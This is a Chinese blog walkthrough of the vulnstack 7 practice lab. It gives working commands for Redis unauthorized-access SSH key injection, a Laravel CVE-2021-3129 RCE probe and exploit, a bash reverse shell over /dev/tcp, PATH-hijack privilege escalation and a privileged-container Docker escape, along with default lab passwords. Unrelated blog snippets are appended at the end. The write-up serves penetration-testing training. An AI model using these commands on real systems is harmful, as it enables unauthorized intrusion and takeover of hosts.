红日靶场vulnstack 7靶机的测试报告[细节](一)
目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Redis未授权访问漏洞获取web1靶机系统权限
3、获取docker靶机系统权限
①Laravel框架漏洞利用getshell
②Laravel主机的提权&&docker容器逃逸
提权
Docker逃逸
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.128)
靶 机:
Ubuntu-web1[192.168.52.10(仅主机的52网段,配置好的固定IP)、192.168.200.129(nat网卡)];
Ubuntu-web2[192.168.52.20(仅主机的52网段,配置好的固定IP)、192.168.93.10(仅主机的93网段,配置好的固定IP)];
Win7-PC1[192.168.52.30(仅主机的52网段,配置好的固定IP)、192.168.93.20(仅主机的93网段,配置好的固定IP)];
WinServer-DC(192.168.93.30,仅主机的93网段,配置好的固定IP);
Win7-PC2(192.168.93.40,仅主机的93网段,配置好的固定IP)。
密码信息(默认密码):
- Ubuntu 1:web/web2021
- Ubuntu 2:ubuntu
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
通达OA账户:
admin:admin657260
2、注意事项
- 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务。
- Ubuntu 1需要启动nginx服务:
redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
- Ubuntu 2需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
- Win 7-PC1需要启动通达OA和nginx(否则外部访问不到):
C:\MYOA\bin\AutoConfig.exe
C:\MYOA\nginx\OfficeNginx.exe
而且,需要启用网络发现!!,要ubuntu1和2能ping到这台主机才可以
3、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)、ssh-kergen(生成ssh公钥私钥)、python3(临时web服务)
Redis Insight(redis数据库管理)、MDUT(数据库综合利用工具利用)、mobaxterm(进行ssh连接)、burp suite(发包测试)、CVE-2021-3129-EXP(漏洞利用poc)、godzilla v2.96(webshell连接)、中国蚁剑(webshell连接)、cdk(docker漏洞检测工具)
测试网址:http://192.168.200.129:81
后面两篇文章地址:
红日靶场vulnstack 7靶机的测试报告[细节](二)-CSDN博客文章浏览阅读572次,点赞24次,收藏10次。基于渗透测试流程测试vulnstack 7靶机;msf渗透;metasploit;meterpreter;内网渗透;通达OA;文件上传+文件包含;构造RCE漏洞。https://blog.csdn.net/2301_79698171/article/details/144503412?sharetype=blogdetail&sharerId=144503412&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118红日靶场vulnstack 7靶机的测试报告[细节](三)-CSDN博客文章浏览阅读322次,点赞11次,收藏5次。基于渗透测试流程渗透vulnstack 7靶场;二层内网代理;永恒之蓝;ms17-010;psexec上线;ipc通道;内网信息搜集;ATT&CK。
https://blog.csdn.net/2301_79698171/article/details/144508445?spm=1001.2014.3001.5501
二、测试目的
通过web渗透,利用redis和laravel的漏洞进行测试获取两台ubuntu主机的系统权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
web靶机IP:192.168.200.129
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.129
靶机开启了22端口(ssh服务)、80端口(web服务)、81端口(web服务)、6379端口(redis服务)
目录扫描
dirsearch -u http://192.168.200.129:81 -i 200,301 --exclude-sizes=0B
扫到了两个网页,但都没什么信息
2、Redis未授权访问漏洞获取web1靶机系统权限
信息搜集阶段发现靶机开启了redis的默认端口6379,nmap也识别该服务正是redis
使用redis数据库管理工具进行连接
发现直接就可以连接上去,没有认证
在控制台输入命令也有回显
info
在Redis 数据库服务存在未授权访问漏洞的情况下,常见的获取服务器 shel的方法一般有写SSH-keygen、写计划任务反弹shell、写webshell、利用主从复制获取shell等方式.可以通过Redis Insight 操作Redis手工获取服务器shell,也可以使用工具进行自动化获取shell。
使用MDUT数据库综合利用工具利用
项目地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization ToolsMDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.https://github.com/SafeGroceryStore/MDUT
先进行数据库连接
成功进行连接
该工具可以一键替换ssh公钥
需要先使用kali生成一份ssh公钥和私钥
ssh-keygen -t rsa
然后复制/root/.ssh/id_rsa.pub的内容到利用工具的公钥栏
cat /root/.ssh/id_rsa.pub
直接写入
靶机是开启了22端口的ssh服务的,接下来使用私钥进行ssh连接
私钥位置:/root/.ssh/id_rsa
复制一份出来即可,使用mobaxterm直接进行ssh私钥连接
可以看到成功连接,root权限
查看IP
外网IP:192.168.200.129
内网IP:192.168.52.10
3、获取docker靶机系统权限
需要注意的是,这个laravel框架是从内网主机映射到web主机的81端口的,因此这个docker容器来自于内网主机。
别问为什么,我也是踩了几个小时的坑才发现。
①Laravel框架漏洞利用getshell
访问web主页
可以看到laravel的版本是8.29.0 php版本是7.4.14
查找laravel框架的历史漏洞
https://www.seebug.org/search/?keywords=laravel
漏洞编号:SSV-99098
CVE-2021-3129
这个漏洞影响范围包括8.29.0版本
发送漏洞检测数据包poc,查看漏洞是否存在
POST / HTTP/1.1
Host:192.168.200.129:81
Content-Type: application/json
Content-Length: 167
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": (
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
发送数据包,返回如下页面:
这表示目标laravel开启了debug模式,存在RCE漏洞
漏洞利用exp可以在github下载:
GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用这个exp,打开cmd,输入url地址并运行exp
python laravel-CVE-2021-3129-EXP.py http://192.168.200.129:81
可以看到生成了webshell地址,这个使用godzilla(哥斯拉) v2.96进行连接
必须使用godzilla 2.96版本连接,4.01版就连不上了
查看靶机信息,发现靶机是linux系统,且有dockerenv文件
whoami
find / -name .dockerenv
确认是docker环境
cat /proc/self/cgroup
会列出当前docker容器ID信息
Docker容器中执行hostname命令,回显结果应与容器ID匹配
hostname
结果与容器ID前面12位一致,可以确认当前环境为docker环境
②Laravel主机的提权&&docker容器逃逸
提权
通过redis未授权漏洞,已经获取了web主机的root权限,尝试将docker的shell弹到web主机上。
在web主机开启监听
echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.52.10/6666 0>&1' > test.sh
bash test.sh
成功获取反弹shell,laravel框架的主机IP:192.168.52.20
通过laravel的RCE漏洞获取的webshell只是www-data权限,进行docker逃逸前要先提权
查找suid权限文件发现,jobs家目录有一个shell文件是suid权限
find / -perm -4000 -ls 2>/dev/null
执行shell文件,发现调用了ps命令
/home/jobs/shell
使用环境变量提权,构造一个ps命令调用/bin/bash,这样运行shell文件调用ps命令时就会以root身份执行/bin/bash了
echo '/bin/bash' > /tmp/ps
添加tmp目录到环境变量首位,这样执行命令会优先在tmp目录找命令执行
echo $PATH
export PATH="/tmp:$PATH"
echo $PATH
再次运行shell文件,验证权限,提权成功!
/home/jobs/shell
获取交互式shell
SHELL=/bin/bash script -q /dev/null
Docker逃逸
使用mobaxterm自带的网络扫描工具看一下
可以看到靶机开启了ssh服务
先上传cdk到web主机,并在web主机使用python开启临时web服务
python3 -m http.server 8888
在docker主机使用curl命令下载cdk
curl http://192.168.52.10:8888/cdk_linux_amd64 --output cdk
赋予文件执行权限并运行
chmod +x cdk
./cdk evaluate --full
可以看到特权模式是打开的,可以将物理机的文件挂载到docker容器进行利用
挂载命令:
mkdir /taoyi
mount /dev/sda1 /taoyi
cd /taoyi && ls -la
这样就会将物理机的文件挂载到docker容器
可以利用替换ssh公钥文件,实现ssh登录docker主机的物理机
.ssh目录(权限700);私钥权限600;~/.ssh/authorized_keys文件(权限600)
cd root
mkdir .ssh && chmod 700 .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCPIBEKJ+XPb3kENnFCySEV95FPT31k3Qc0o+zJHPpC7Rpna71oWow4mCo37AunRQ09pMTwfc9cWMLd6ulc0DpPK4IaZ0o42Gb0Dmb/TA8sxroCUPfS95ExkvKbAgy+M4IbJWs+UOMHez4keF4JUFaLaEfsE9587KiaOLBb3PgZ7CdKkUwMpCAnKyn78P483HRMzIgRjddjpmWMylilyA3qpDgezienPF7T/1BMfAHPYsJEF58vSv+j6Lt73z5KvmxcV/XXuIvna4WTQJjLe9HGeaHZnKTrxPNxQhxwvnh1/oS+28VvivRhPUINr9qXewwYJRec9JGkOjBdVH1tDemzqY7qbtZ1277Lpyesf6Z/gbGDj3PZr0ahzOq6PD+jmlhT7eSaKvc4pYXsZ6fZ6Ii6Gq0wtHSzUPM/E/IJB6y/d0EfbvzWkIX7/DoyeFO9DhW5UAHuCvyaBm9ONVy0fBcJUJcCUhcLQUs7GEzcjzpGzkf+/eclz4JAyYrnELkkzUU= root@hacker" > .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
私钥上传到web主机上,并赋予600权限
chmod 600 id_rsa
在web主机进行ssh连接到内网docker物理机
ssh root@192.168.52.20 -i id_rsa
成功连接!
这台机器也是两张网卡:
内网1:192.168.52.20
内网2:192.168.93.10
四、结论
redis未授权漏洞危害很大,可以直接无密码登录进行操作。laravel框架的历史版本漏洞也有很多漏洞可以利用。web服务器将内网主机的docker容器映射到了自身端口,允许外部访问。docker容器以特权模式启动时,可以进行docker逃逸。
这个靶场共五台主机,两层内网架构,都放在一篇文章的话,有些冗杂,分成三篇发送。
相关文章:

红日靶场vulnstack 7靶机的测试报告[细节](一)
目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Redis未授权访问漏洞获取web1靶机系统权限 3、获取docker靶机系统权限 ①Laravel框架漏洞利用getshell ②Laravel主机的提权&&docker容器逃逸 提权…...

ubuntu+ros新手笔记(二):古月·ROS2入门21讲学习笔记
系统ubuntu22.04 ros2 humble 按照如下视频教程学习的:【古月居】古月ROS2入门21讲 | 带你认识一个全新的机器人操作系统 此处仅记录我报错的地方,以及相应的解决方案,没有出错的略过! 对应的古月居ROS2入门21讲源码下载地址&a…...

Harmonyos之深浅模式适配
Harmonyos之换肤功能 概述实现原理颜色适配颜色资源配置工具类编写界面代码编写适配效果 概述 深色模式(Dark Mode)又称之为暗色模式,是与日常应用使用过程中的浅色模式(Light Mode)相对应的一种UI主题。 换肤功能应…...
牛客网 SQL2查询多列
SQL2查询多列 select device_id,gender,age,university //查询哪些字段 from user_profile //从哪个表中查找 每日问题 C 中面向对象编程如何处理异常? 在C中,面向对象编程(OOP)处理异常主要通过异常处理机制来实现。C 提供了…...

Angular由一个bug说起之十二:网页页面持续占用CPU过高
随着网络日益发达,网页的内容也更加丰富,形式也更加多样化。而随之而来的性能问题也不容小觑。这篇文章我会根据我在实践中遇到的一个问题来总结,我在面对性能问题的一些解决步骤,希望能对大家有所启发。 查找问题原因 我接触的…...

【从零开始入门unity游戏开发之——C#篇05】转义字符、@处理多行文本或者不使用转义字符、随机数
文章目录 一、转义字符1、什么是转义字符?2、常见的转义字符3、总结 二、使用处理多行文本或者不使用转义字符1、多行字符串2、不使用转义字符 三、随机数1、Random.Next()生成随机整数示例:生成一个随机整数生成指定范围内的随机整数 2、Random.NextSin…...

我们来对接蓝凌OA --报文格式
题记 数智化办公专家、国家高新技术企业、知识管理国家标准制定者、信创供应商10强…等等,这些和咱们有关系吗!!不好意思,走错片场了,刚和项目经理在甲方那边吹牛B想想刚刚的大饼,看看支付宝余额ÿ…...

旅游系统旅游小程序PHP+Uniapp
旅游门票预订系统,支持景点门票、导游产品便捷预订、美食打卡、景点分享、旅游笔记分享等综合系统 更新日志 V1.3.0 1、修复富文本标签 2、新增景点入驻【高级版本】3、新增门票核销【高级版】4、新增门票端口【高级版】...

Pytest-Bdd-Playwright 系列教程(15):背景(Background)
Pytest-Bdd-Playwright 系列教程(15):背景(Background) 前言一、什么是背景(Background)二、特性文件三、测试脚本四、运行测试总结 前言 在测试的过程中,我们往往会遇到这样的问题&…...
ionic V6 安装ios所需
npm install capacitor/ios添加ios平台 ruby要求3.0以上 rvm use ruby-3.1.0 --default npx cap add ios打开xcode看看创建的项目 npx cap open ios没有capacitor指定的位置, 估计之前pod(cocoapods)安装搞得Ruby环境很乱了......cocoapods整的我麻了... App/App/capacitor…...
3d模型展示-初探
由于工作原因,近一年没怎么写代码,有朋友问你做过3D模型展示吗,之前都是做以vue为框架做定制业务,这次抽时间试试3d模型展示。 软件功能 使用ThreeJS框架实现加载GLB模型,并添加动画效果,实现3d展示模型。…...

OpenLinkSaas 2025年1月开发计划
先来看看OpenLinkSaas的大目标 在OpenLinkSaas的产品目标中,让开发人员更加方便的使用云资源是目标之一。通过各大云厂商的API,来可视化云上基础设施的数据是远远不够的。我们准备在2025年1月份增加方便管理和运营研发场景下服务器的能力。 这部分的功能…...
C# 用封装dll 调用c++ dll 使用winapi
这里用c net 封装winapi函数 pch.h // pch.h: 这是预编译标头文件。 // 下方列出的文件仅编译一次,提高了将来生成的生成性能。 // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。 // 但是,如果此处列出的文件中的任何一个…...
XML基础学习
参考文章链接: XML基础学习 在w3school看到了XML的教程,想到以前工作学习中也接触到了XML,但只是简单搜索了解了下,没有认真去学习XML的基础,所以现在认真看下其基础部分,并写篇博客作为笔记记录下。 XML 简介 XML 被设计用来传输和存储数据。 什么是 XML? XML 指可…...

Jmeter直连数据库,jar包下载
运行报错信息:jmeter连接mysql异常:Cannot load JDBC driver class ‘com.mysql.jdbc.Driver‘ 1、下载地址: https://mvnrepository.com/artifact/mysql/mysql-connector-java/ 2、将下载好的jar包 (我的是:mysql-con…...

Unity读取、新建Excel表格
把dll资源解压后,全部导入到unity中的Plugins文件下面 资源放在标题下方,可以自行下载 使用教程 引入命名空间 using SimpleExcel;。这个命名空间下主要有两个类:WorkBook和Sheet。WorkBook用于对整个excel文件的操作,如创建、打开…...

智能高效的IDE GoLand v2024.3全新发布——支持最新Go语言
GoLand 使 Go 代码的阅读、编写和更改变得非常容易。即时错误检测和修复建议,通过一步撤消快速安全重构,智能代码完成,死代码检测和文档提示帮助所有 Go 开发人员,从新手到经验丰富的专业人士,创建快速、高效、和可靠的…...
OpenCV相机标定与3D重建(21)投影矩阵分解函数decomposeProjectionMatrix()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 将投影矩阵分解为旋转矩阵和相机内参矩阵。 cv::decomposeProjectionMatrix 是 OpenCV 库中的一个函数,用于将投影矩阵(…...
Flink State面试题和参考答案-(下)
如何监控 Flink 作业的状态大小? 监控 Flink 作业的状态大小是确保作业性能和稳定性的重要方面。以下是一些监控状态大小的方法: 使用 Flink Web UI: Flink 提供了一个 Web 用户界面,可以展示作业的当前状态大小,包括每个操作符…...
111.【C语言】数据结构之二叉树的销毁函数
目录 1.知识回顾 2.分析 3.代码 后序遍历销毁(最简洁) 前序遍历销毁(不推荐) 中序遍历销毁(不推荐) 4.将函数嵌入main函数中执行 1.知识回顾 106.【C语言】数据结构之二叉树的三种递归遍历方式 2.分析 销毁二叉树需要按照一定的顺序去销毁,例如:先销毁根还是先销毁根…...

Xshell远程连接Kali(默认 | 私钥)Note版
前言:xshell远程连接,私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...

遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...

深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...

el-switch文字内置
el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...

Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...